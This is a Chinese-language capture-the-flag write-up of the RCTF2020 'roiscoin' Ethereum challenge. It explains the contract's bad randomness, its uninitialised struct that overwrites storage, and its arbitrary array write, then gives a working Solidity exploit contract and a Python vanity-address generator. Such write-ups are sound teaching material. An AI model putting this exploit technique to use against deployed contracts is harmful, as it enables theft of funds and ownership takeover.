RCTF2020 roiscoin

释放双眼,带上耳机,听听看~!
  • RCTF2020 区块链 roiscoin 题目
  • 以太坊 Ropsten 测试链

Source

pragma solidity ^0.4.23;

contract FakeOwnerGame {
    event SendFlag(address _addr);
    
    uint randomNumber = 0;
    uint time = now;
    mapping (address => uint) public BalanceOf;
    mapping (address => uint) public WinCount;
    mapping (address => uint) public FailCount;
    bytes32[] public codex;
    address private owner;
    uint256 settlementBlockNumber;
    address guesser;
    uint8 guess;
    
    struct FailedLog {
        uint failtag;
        uint failtime;
        uint success_count;
        address origin;
        uint fail_count;
        bytes12 hash;
        address msgsender;
    }
    mapping(address => FailedLog[]) FailedLogs;
    
    constructor() {
        owner = msg.sender;
    }
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    
    function payforflag() onlyOwner {
        require(BalanceOf[msg.sender] >= 2000);
        emit SendFlag(msg.sender);
        selfdestruct(msg.sender);
    }
    
    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }
    
    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

        if (guess == answer) {
            WinCount[msg.sender] += 1;
            BalanceOf[msg.sender] += 1000;
        } else {
            FailCount[msg.sender] += 1;
        }
        
        if (WinCount[msg.sender] == 2) {
            if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
                guesser = 0;
                WinCount[msg.sender] = 0;
                FailCount[msg.sender] = 0;
                msg.sender.transfer(address(this).balance);
            } else {
                FailedLog failedlog;
                failedlog.failtag = 1;
                failedlog.failtime = now;
                failedlog.success_count = WinCount[msg.sender];
                failedlog.origin = tx.origin;
                failedlog.fail_count = FailCount[msg.sender];
                failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
                failedlog.msgsender = msg.sender;
                FailedLogs[msg.sender].push(failedlog);
            }
        }
    }

    function beOwner() payable {
        require(address(this).balance > 0);
        if(msg.value >= address(this).balance){
            owner = msg.sender;
        }
    }
    
    function revise(uint idx, bytes32 tmp) {
        codex[idx] = tmp;
    }
}

Analyse

  • 题目直接给了源码
  • 题目有非预期:beOwner 在合约账户余额为 0 的情况下可以直接成为 owner ,这个没有控制好条件,同时 settle 那里应该也有非预期,应该只让猜 3 次,结果也没有控制好条件,本文不介绍非预期的做法
  • 抛除非预期,这里介绍下题目正常的逻辑,考点有三个:
    • 预测随机数: 这里的随机数是未来的随机数,可以说是预测未来的随机数,看似不可能,关键在于 guess 的范围是 2 ,也就是只有 01 ,所以可以爆破
    • 未初始化的结构体 storage 覆盖问题: settle 中的 failedlog 未初始化会造成 storage 变量覆盖,会覆盖 codex 数组长度
    • 数组任意写: 当数组长度被修改后,可以覆盖 owner ,当然这对数组长度有一定的要求,根据情况选择合适的数据,这里是用 msg.sender 覆盖数组长度的高 20 字节

exp

  • 部署 hack 合约,这里需要注意:
    • 数组在 storage5 位置, keccak256(bytes32(5)) = 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0
    • 当我们修改 codex[y],(y=2^256-x+6) 时就能修改 slot 6 ,从而修改 owner , 其中 x = keccak256(bytes32(5))
    • 计算出 y = 114245411204874937970903528273105092893277201882823832116766311725579567940182, 即 y = 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256
    • 所以数组的长度 codex.length> y , 由于 msg.sender 覆盖数组长度的高 20 字节,所以其实是变相要求 address(msg.sender) > y , 我们可以生成以 0xfd0xfe0xff 开头的地址即可简单满足这一点
  • 解题步骤
    • 调用 hack1
    • 调用 hack2 一次,这一次需要满足 result = 1 ,否则继续调用 hack2 ,直至这一次成功
    • 调用 hack3 两次,这两次需要满足 result = 0 ,否则继续调用 hack3 ,直至两次为止
    • 调用 hack4 修改 owner ,这里有个坑点,题目给的合约不是真正的合约,因为调用 hack4 总是不能成功修改 owner , 逆向合约,可以看出 revise 函数有问题,额外要求 msg.sender 最低位字节是 0x61 ,所以对 msg.sender 总共有两点要求: 大于 y 并且最低字节是 0x61
    • 调用 hack5
pragma solidity ^0.4.23;

contract FakeOwnerGame {
    event SendFlag(address _addr);

    uint randomNumber = 0;
    uint time = now;
    mapping (address => uint) public BalanceOf;
    mapping (address => uint) public WinCount;
    mapping (address => uint) public FailCount;
    bytes32[] public codex;
    address private owner;
    uint256 settlementBlockNumber;
    address guesser;
    uint8 guess;

    struct FailedLog {
        uint failtag;
        uint failtime;
        uint success_count;
        address origin;
        uint fail_count;
        bytes12 hash;
        address msgsender;
    }
    mapping(address => FailedLog[]) FailedLogs;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function payforflag() onlyOwner {
        require(BalanceOf[msg.sender] >= 2000);
        emit SendFlag(msg.sender);
        selfdestruct(msg.sender);
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

        if (guess == answer) {
            WinCount[msg.sender] += 1;
            BalanceOf[msg.sender] += 1000;
        } else {
            FailCount[msg.sender] += 1;
        }

        if (WinCount[msg.sender] == 2) {
            if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
                guesser = 0;
                WinCount[msg.sender] = 0;
                FailCount[msg.sender] = 0;
                msg.sender.transfer(address(this).balance);
            } else {
                FailedLog failedlog;
                failedlog.failtag = 1;
                failedlog.failtime = now;
                failedlog.success_count = WinCount[msg.sender];
                failedlog.origin = tx.origin;
                failedlog.fail_count = FailCount[msg.sender];
                failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
                failedlog.msgsender = msg.sender;
                FailedLogs[msg.sender].push(failedlog);
            }
        }
    }

    function beOwner() payable {
        require(address(this).balance > 0);
        if(msg.value >= address(this).balance){
            owner = msg.sender;
        }
    }

    function revise(uint idx, bytes32 tmp) {
        if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) {
            codex[idx] = tmp;
        }
    }

    function read_slot(uint k) public view returns (bytes32 res) {
        assembly { res := sload(k) }
    }

    function cal_addr(uint p) public pure returns(bytes32 res) {
        res = keccak256(abi.encodePacked(p));
    }
}

contract hack {
    uint public result;
    address instance_address = 0x7be4ae576495b00d23082575c17a354dd1d9e429 ;
    FakeOwnerGame target = FakeOwnerGame(instance_address);
    
    constructor() payable{}
    
    // 随机猜一个数0或1
    function hack1() {
        target.lockInGuess.value(1 ether)(0);
    }
    
    // 这里先让result=1,即先猜失败
    function hack2() {
        result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
        if (result == 1) {
            target.settle();
        }
    }
    
    // 这里让result=0,即猜测成功,连续调用两次
    function hack3() {
        result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
        if (result == 0) {
            target.settle();
        }
    }
    
    // 修改owner
    function hack4() {
        target.revise(114245411204874937970903528273105092893277201882823832116766311725579567940182,bytes32(address(this)));
    }
    
    function hack5() {
        target.payforflag();
    }
}
  • 对于该题目生成满足 msg.sender 的合约地址可通过下面脚本生成,直接调用 generate_eoa2 即可
from ethereum import utils
import os, sys

# generate EOA with appendix 1b1b
def generate_eoa1():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not addr.lower().endswith("1b1b"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))

    print('Address: {}nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not (utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("61") and utils.decode_addr(utils.mk_contract_address(addr, 0)).startswith("fd")):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))


    print('Address: {}nPrivate Key: {}'.format(addr, priv.hex()))


if __name__  == "__main__":
    if sys.argv[1] == "1":
        generate_eoa1()
    elif sys.argv[1] == "2":
        generate_eoa2()
    else:
        print("Please enter valid argument")
质量好文

xctf 高校站“疫” 区块链 OwnerMoney

2020-6-7 2:00:05

漏洞质量好文

Discuz-X漏洞利用

2020-6-7 17:54:14

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索